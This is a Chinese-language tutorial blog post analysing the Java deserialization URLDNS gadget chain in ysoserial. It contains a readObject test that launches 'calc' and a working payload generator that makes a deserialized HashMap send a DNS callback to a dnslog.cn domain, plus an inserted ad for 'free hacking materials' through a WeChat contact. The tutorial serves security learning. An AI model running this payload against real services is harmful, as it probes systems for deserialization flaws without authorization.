URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。
笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。
一. Java反序列化前置知识
Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。 Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。
测试源码如下,此部分源码参考了ol4three师傅的博客:
              
              package
          serialize
    ;
  import
  java
.
  io
.
  *
;
  public
  class
  deserTest
  implements
  Serializable
 {
    
  private
  int
  n
;
    
  public
  deserTest
(
  int
  n
) {
        
  this
.
  n
  =
  n
;
    }
    
  @Override
    
  public
  String
  toString
() {
        
  return
  "deserTest2 [n="
  +
  n
  +
  ", getClass()="
  +
  getClass
() 
  +
  ", hashCode()="
  +
  hashCode
() 
  +
  ", toString()="
                
  +
  super
.
  toString
() 
  +
  "]"
;
    }
    
  // 反序列化
    
  private
  void
  readObject
(
  java
.
  io
.
  ObjectInputStream
  in
) 
  throws
  IOException
,
  ClassNotFoundException
{
        
  in
.
  defaultReadObject
();
      
      
      
      
        
  Runtime
.
  getRuntime
().
  exec
(
  "calc"
);
    
      
      
        
  System
.
  out
.
  println
(
  "test"
);
    }
    
  public
  static
  void
  main
(
  String
[] 
  args
) {
        
  deserTest
  x
  =
  new
  deserTest
(
  5
);
        
  operation1
.
  ser
(
  x
);
        
  operation1
.
  deser
();
        
  x
.
  toString
();
    }
}
  // 实现序列化和反序列化具体细节的类
  class
  operation1
{
    
  // 将输出字节流写入文件中进行封存
    
  public
  static
  void
  ser
(
  Object
  obj
) {
        
  // 序列化操作,写操作
        
  try
 {
             
  // 首先文件落地object.obj存储输出流,绑定输出流           
            
  ObjectOutputStream
  ooStream
  =
  new
  ObjectOutputStream
(
  new
  FileOutputStream
(
  "object.obj"
));
            
  // 重定向将输出流字节写入文件
            
  ooStream
.
  writeObject
(
  obj
);
            
            
  ooStream
.
  flush
();
            
  ooStream
.
  close
();
        } 
  catch
 (
  FileNotFoundException
  e
) {
            
  e
.
  printStackTrace
();
        }
  catch
 (
  IOException
  e
) {
            
  // TODO: handle exception
            
  e
.
  printStackTrace
();
        }
    }
    
    
    
  public
  static
  void
  deser
() {
        
  // 反序列化,读取操作
        
  try
 {
            
  // 绑定输入流
            
  ObjectInputStream
  iiStream
  =
  new
  ObjectInputStream
(
  new
  FileInputStream
(
  "object.obj"
));
            
            
  // 反序列化时需要从相关的文件容器中读取输出的字节流
            
  // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
            
  Object
  xObject
  =
  iiStream
.
  readObject
();
            
  iiStream
.
  close
();
        } 
  catch
 (
  IOException
  e
) {
            
  // TODO: handle exception
            
  e
.
  printStackTrace
();
        } 
  catch
 (
  ClassNotFoundException
  e
) {
            
  // TODO Auto-generated catch block
            
  e
.
  printStackTrace
();
        }
    }
}

二. ysoserial环境搭建
IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial进行分析,这里面已经有现成的环境了
https://github.com/frohoff/ysoserial
注意配置好相应的 JDK 和 SDK 版本:

三. URLDNS攻击链
- 
影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关 
- 
URLDNS这条反序列化链只能发起DNS请求,无法进行其他利用,可以作为验证是否有反序列化漏洞的姿势 
调试分析
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函数中进行域名解析,从而可以被DNSLog平台捕获
URLDNS程序入口
在 ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java 路径下有 URLDNS.java 文件
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:yj009991,备注 "安全脉搏" 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
main 主函数的 run函数 打断点进入

这个 ysoserial-master 的 payload 运行结构大致是有一个专门的 PayloadRunner 运行程序,然后统一调用来运行各部分的 payload
首先是进行序列化:


继续往下,生成 command ,由于是分析 URLDNS 攻击链,所以只需要修改将返回值为 dnslog 的临时地址

创建实例后,进入到 URLDNS 的 getObject 的 payload 函数

getObject函数中应该注意的是:声明了HashMap对象和URL对象,并进行put哈希绑定,最后设置作用域


反序列化链子:
在反序列化入口处打断点:

在反序列化时调用了 readObject 函数

然后进入 HashMap.java 的 readObject 函数

在 readObject 中调试到此行,了 putval ,在此处 IDEA 这个 IDE 可以选择进入的函数,直接进入后者 hash
由于我们读入字节序列,需要将其恢复成相应的对象结构,那么就需要重新 putval

传入的 key 不为空,执行 key.hashCode

进一步在 URL.java 文件下

进入 URLStreamHandler 的 hashCode



产生解析:

总的来说,利用链思路如下:
在反序列化URLDNS对象时,也需要反序列化HashMap对象,从而调用了HashMap.readObject()的重写函数,重写函数中调用了哈希表putval等的相关重构函数,在hashcode下调用了getHostAddress函数 那么反之,为什么首次声明的时候没有调用到了getHostAddress函数,现在给出声明时的函数路线:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
该函数为空实现
列出几个路线上的关键函数看看:


由于此处 key 为 String 类型,则进入 String.hashCode

相比之下,在反序列化中 key 为 URL 类型

设置了不发起dns解析


具体执行流,可以看下时序图,我就不讲了^^

四. URLDNS链的使用
              
              import
          java
    .
  io
.
  *
;
  import
  java
.
  lang
.
  reflect
.
  Field
;
  import
  java
.
  net
.
  InetAddress
;
  import
  java
.
  net
.
  URL
;
  import
  java
.
  net
.
  URLConnection
;
  import
  java
.
  net
.
  URLStreamHandler
;
  import
  java
.
  util
.
  HashMap
;
  public
  class
  Main
{
    
  // 序列化前不发生dns解析
    
  static
  class
  SilentURLStreamHandler
  extends
  URLStreamHandler
{
        
  protected
  URLConnection
  openConnection
(
  URL
  n
) 
  throws
  IOException
{
            
  return
  null
;
        }
        
  protected
  synchronized
  InetAddress
  getHostAddress
(
  URL
  n
)
        {
            
  return
  null
;
        }
    }
    
  public
  static
  void
  main
(
  String
[] 
  args
) 
  throws
  Exception
{
        
  HashMap
  hashMap
  =
  new
  HashMap
();
        
  // 设置put时不发起dns解析
        
  URLStreamHandler
  handler
  =
  new
  Main
.
  SilentURLStreamHandler
();
        
  URL
  url
  =
  new
  URL
(
  null
, 
  "http://jloqk8.dnslog.cn"
, 
  handler
);
        
  // 利用Java反射机制在动态执行时获取类
        
  Class
  clazz
  =
  Class
.
  forName
(
  "java.net.URL"
);
        
  Field
  f
  =
  clazz
.
  getDeclaredField
(
  "hashCode"
);
        
  f
.
  setAccessible
(
  true
);
        
  hashMap
.
  put
(
  url
, 
  "123"
);
        
  f
.
  set
(
  url
, 
  -
  1
);
        
  // 对象输出流绑定文件输出流
        
  ObjectOutputStream
  oos
  =
  new
  ObjectOutputStream
(
  new
  FileOutputStream
(
  "out.bin"
));
        
  oos
.
  writeObject
(
  hashMap
);
     
  // 序列化
        
  // 对象输入流绑定文件输入流
        
  ObjectInputStream
  ois
  =
  new
  ObjectInputStream
(
  new
  FileInputStream
(
  "out.bin"
));
        
  ois
.
  readObject
();
     
      
      
  // 反序列化
    }
}

本文作者: dingjiacan@antvsion.com
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/202757.html
 51工具盒子
51工具盒子 
                 
                             
                         
                         
                         
                         
                         
                         
                        